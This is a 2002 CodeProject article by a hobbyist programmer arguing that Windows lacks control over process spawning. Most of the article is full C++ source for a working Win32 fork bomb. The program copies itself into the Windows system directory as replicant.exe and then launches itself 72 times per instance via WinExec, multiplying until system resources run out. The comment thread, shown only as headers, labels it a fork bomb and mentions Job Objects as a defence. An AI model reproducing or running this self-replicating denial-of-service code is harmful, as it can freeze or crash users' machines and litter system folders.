Click here to Skip to main content
Licence 
First Posted 26 Jun 2002
Views 92,135
Bookmarked 11 times

Why Windows Should Have Tight Control Over The WinExec function

By | 26 Jun 2002 | Article
A brief description with proof of concept code detailing why finer execution control is needed with the Windows OS family.

Introduction

The Windows family is inherantly flawed in it's control of process execution on an OS global level. After discovering a rather nasty error in a recent program, I was able to determine that it is possible to enter into an EXTREME multiple replication condition within Windows which is similar to the Infinate Spawning Denial of Service attack that is able to be performed using some simple javascript containing a while loop under Internet Explorer 6 and all previous IE releases that incorporated javascript. This however uses native win32 code making it FAR more deadly in it's capability. When clocked during profiling phases, this application has a potential to be able to spawn 72 copies of itself per second. When this is coupled with the fact that per each instance of teh application executed, 72 more copies will be generated quickly consuming system resources. I have included the full source code for proof of concept. I have left the code in an uncompiled state so as to prevent accidental execution. Compile at your own risk. I invite your comments. Source code follows below.

#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	
	// get the current module name and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name

	LPSTR lpThisModule = new TCHAR[MAX_PATH];
	
	GetModuleFileName(NULL, lpThisModule, MAX_PATH);
	
	// get the windows system path and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name


	LPSTR lpSystemPath = new TCHAR[MAX_PATH];
	
	GetSystemDirectory(lpSystemPath, MAX_PATH);
	
	// create a variable to hold the name of the 
	// destination module so that we can use the
	// strcat function to get a valid path name 
	// out of it for the CopyFile() function

	char szReplicantName[16] = "\\replicant.exe";
	
	strcat(lpSystemPath, szReplicantName);

	// copy ourselves into the system directory
	// using lpThisModule and lpSystemPath for
	// our module and system path locations
	
	CopyFile(lpThisModule, lpSystemPath, FALSE);
	
	// time to run and repeat the whole process
	// of replication from within the replicant
	// that we're about to execute.  Optimizied
	// variable sizes help keep the the loading
	// time low, but the repeated execution can
	// cause a RAPID resources drain on all but
	// the most beefed up systems...5184+ copys
	// of a application all desperate to run at
	// the same  time will do that to you...
	
	// setting up two integers to control the
	// execution of the loop that will actually
	// handle the replication of our executable
	
	int WhileLoopController = 1;
	
	int WhileLoopIterator = 0;

	while(WhileLoopController == 1)
	
	{
		
		WinExec(lpSystemPath, 0);
		
		WhileLoopIterator++;

			// not that this matters much after the
			// ball starts rolling, but it's being
			// included for the purposes of writing
			// complete and correct code as all loops
			// should contain some method to break out

			if( WhileLoopIterator >= 72 )
	
			{
				
				// setting the loop controller to 0
				// so we break from the while loop
				
				WhileLoopController = 0;

			}
	
	}

	return 0;

}
I find it fairly assinine that the microsoft os development teams have not added a facility to my knowledge to any windows os that prevents this rapid spawn condition from taking place. we're expected to pay out the wazoo for a solid OS, yet we get this. if anyone has any insight on ways to prevent this condition, I'd be interested in hearing them.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here

About the Author

John Aldrich

Web Developer

United States United States

Member

My name is John Aldrich. I have pursued programming as a hobby for the past 6 years and currently have experience in Perl (basic / intermediate), HTML (advanced), and I have recently begun to learn C/C++. I also have a profound interest in all things graphics related and and constantly working to improve my knowledge in all areas of computing. I run a home based web software company named Professional Design Resources. If you are interested in any custom programming or would be interested in collaberating on a joint project, please feel free to contact me via email, where I'll be happy to discuss such things. Serious projects only please.

Sign Up to vote   Poor Excellent
Add a reason or comment to your vote: x
Votes of 3 or less require a comment

Comments and Discussions

 
You must Sign In to use this message board. (secure sign-in)
 
Search this forum  
 FAQ
    Noise  Layout  Per page   
  Refresh
GeneralWindows and hammer Pinmemberpozhit4:03 30 Apr '06  
GeneralDefinition PinmemberR Dawson9:30 16 Mar '06  
GeneralPoint Counterpoint PinmemberEmyos15:31 10 Sep '05  
GeneralSome advice regarding the code PinmemberDavid Nash1:09 2 May '05  
GeneralHTML and windows programming PinmemberShomoiog2:25 2 Aug '03  
GeneralRe: HTML and windows programming PinsussAnonymous12:58 13 Jan '04  
GeneralThat's MY computer! PinmemberKastellanos Nikos1:11 28 Jun '02  
GeneralA few points PinmemberAnonymous20:42 27 Jun '02  
GeneralRe: A few points PinmemberBlake Coverett21:45 27 Jun '02  
Questionwhat's so great about your fork bomb? PinmemberAnonymous18:24 27 Jun '02  
AnswerRe: what's so great about your fork bomb? PinmemberColin Davies18:58 27 Jun '02  
GeneralRe: what's so great about your fork bomb? PinsussZhi Wong17:35 19 May '03  
GeneralRe: what's so great about your fork bomb? PinsussKevin Flannery8:25 3 Aug '04  
GeneralRe: what's so great about your fork bomb? PinsussAnonymous1:28 19 Mar '05  
GeneralRe: what's so great about your fork bomb? PinmemberGratemyl9:55 2 Jun '05  
GeneralWhat's the point of bashing???... Pinmemberigor196018:19 27 Jun '02  
GeneralJob Objects PinmemberBlake Coverett14:20 27 Jun '02  
GeneralRe: Job Objects PinmemberJohn Aldrich14:32 27 Jun '02  
GeneralRe: Job Objects PinmemberBlake Coverett15:10 27 Jun '02  
GeneralRe: Job Objects PinmemberJohn Aldrich15:45 27 Jun '02  
GeneralRe: Job Objects PinmemberBlake Coverett16:37 27 Jun '02  
GeneralRe: Job Objects PinmemberKastellanos Nikos1:48 28 Jun '02  
GeneralNot too useful PinmemberEric Kenslow13:18 27 Jun '02  
GeneralRe: Not too useful PinmemberJohn Aldrich13:56 27 Jun '02  
GeneralRe: Not too useful PinmemberEric Kenslow14:37 27 Jun '02  

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

Permalink | Advertise | Privacy | Mobile
Web04 | 2.5.120517.1 | Last Updated 27 Jun 2002
Article Copyright 2002 by John Aldrich
Everything else Copyright © CodeProject, 1999-2012
Terms of Use
Layout: fixed | fluid